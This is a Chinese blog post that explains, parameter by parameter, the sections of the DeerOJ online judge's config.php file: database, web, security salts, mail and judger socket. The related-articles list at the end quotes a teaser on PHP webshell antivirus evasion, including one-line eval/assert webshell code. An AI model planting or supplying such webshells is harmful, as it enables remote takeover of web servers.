首页 > 编程语言 >DeerOJ的前端框架介绍-config.php

DeerOJ的前端框架介绍-config.php

时间:2024-05-30 19:32:56浏览次数:29  
标签:评测 DeerOJ 数据库 配置 参数 php config

config.php文件

config.php 文件是 PHP 应用程序的配置文件,具体用于 Deer Online Judge (DeerOJ) 系统的设置。它定义了应用程序的基本信息、数据库连接、Web 服务器设置、安全配置、邮件配置、评测机配置以及一些开关设置。

基本信息 (profile)


部分参数解释如下:

  • oj-name: 在线评测系统的全称。
  • oj-name-short: 在线评测系统的简称。
  • administrator: 系统管理员的用户名。
  • admin-email: 系统管理员的电子邮件地址。
  • QQ-group: QQ 群的联系方式,当前为空。
  • ICP-license: ICP 备案号,当前为空。

数据库配置 (database)


部分参数解释如下:

  • database: 数据库名称。
  • username: 数据库用户名。
  • password: 数据库用户的密码。
  • host: 数据库服务器的地址。

Web 服务器配置 (web)


部分参数解释如下:

  • domain: 网站的域名,当前为 NULL
  • main: 主站点的协议、主机名和端口。
  • blog: 博客站点的协议、主机名和端口。主机名是通过 UOJContext::httpHost() 获取的。

安全配置 (security)


部分参数解释如下:

  • user.client_salt: 用户密码的盐值,用于增强密码的安全性。
  • cookie.checksum_salt: 用于校验 Cookie 的盐值数组。

邮件配置 (mail)


部分参数解释如下:

  • noreply: 配置 no-reply 邮箱的用户名、密码、SMTP 服务器地址、加密方式和端口。

评测机配置 (judger)和开关设置 (switch)


部分参数解释如下:

  • socket.port: 评测机连接的端口号。
  • socket.password: 评测机连接的密码。
  • web-analytics: 是否启用网站分析,当前为 false(不启用)。
  • blog-domain-mode: 博客域名模式,当前为 3

标签:评测,DeerOJ,数据库,配置,参数,php,config
From: https://www.cnblogs.com/hakurokawashiro/p/18223100

相关文章

  • 关于PHP的webshell免杀小结
    0X00普通的一句话木马(适用于CTF和小站)<?phpeval($_POST['a']);?>//函数的相似替换<?phpassert($_POST['a']);?> <?php@eval($_POST['110']);?>与第一个一句话木马相比多了一个"@"字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不......
  • mac系统如何切换php版本
    brewinstallshivammathur/php/[email protected]安装的这个库安装8.1。8.3替换即可#卸载所有PHP版本brewuninstall--ignore-dependenciesphpbrewuninstall--ignore-dependenciesphp@7.4brewuninstall--ignore-dependenciesphp@8.1brewuninstall--ignore-dependen......
  • 使用 Bootstrap 5 无法在 php 文件中实现智能识别
    我使用VisualStudioCode在php文件中使用Bootstrap5。Bootstrap会在我编写HTML代码时向我显示建议,如第一张图片。但当我编写HTML代码时,它什么也不显示,如第二张图片。我尝试使用了许多扩展,并在设置中将php的执行路径和"php":"html"设置为emmet语言。我......
  • 基于php云中仙鹤.鹤类分享网论文
    摘要云中仙鹤鹤类分享网是一个专注于鹤类研究和保护的综合性在线平台。它汇集了大量关于鹤类的专业知识、研究成果、保护动态以及相关的新闻和事件。该网站致力于提供一个全面而详细的信息资源,帮助用户深入了解鹤类的生物学特性、生态习性、分布范围和保护现状。云中仙鹤......
  • 如何在 PHP 8.3 中声明变量
    在php7.3中,我做了如下操作。$TitelString=$_GET["TitelString"];If(!$TitelString)$TitelString="";$AuteurString=$_GET["AuteurString"];If(!$AuteurString)$AuteurString="";$JaarString=$_GET["JaarS......
  • 记录kali搭建Apache+MySQL+PHP
    一.打开相应的服务kali中已经预先安装好了Apache2,MySQL和PHP,所以我们在使用的时候只需要打开相应的服务即可。1.打开Apache2服务kali预先安装的Apache在etc文件里,我们ls显示文件后发现了apache2文件夹,进入到该文件夹后启动服务,命令如下:/etc/init.d/apache2start检测服务......
  • 【CTF Web】CTFShow web13 Writeup(RCE+PHP+通配符)
    web131阿呆彻底呆了,阿呆拿起谷姐搜索好久,终于找到更狠的方法。解法可知flag在config.php。<?php#flaginconfig.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/system|exec|highlight|cat|\.|......
  • k8s subpath解决加载配置覆盖原目录问题,configmap与secret热更新
    问题:传统上直接挂载会直接覆盖原目录问题还原挂载配置 重启容器挂了 进入容器查看文件不见了,只剩下挂载文件了,目录被覆盖了问题解决subpath:1、当挂载目录存在多个文件,不会覆盖所有文件;2、挂载单个文件而不是整个目录。修改配置subpath热更新问题:1.cm或secret以......
  • PHP多选题-下列哪些城市属于省会城市
    直接上代码:<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><htmlxmlns="http://www.w3.org/1999/xhtml"><head><metahttp-equiv="......
  • Java语言,MySQL数据库;SSM 心理咨询预约管理系统19086(免费领源码)计算机毕业设计项目推荐
    目 录摘要1绪论1.1背景及意义1.2研究现状1.3ssm框架介绍1.4论文结构与章节安排2 心理咨询预约管理系统系统分析2.1可行性分析2.1.1技术可行性分析2.1.2经济可行性分析2.1.3法律可行性分析2.2系统功能分析2.2.1功能性分析2.2.2非功能......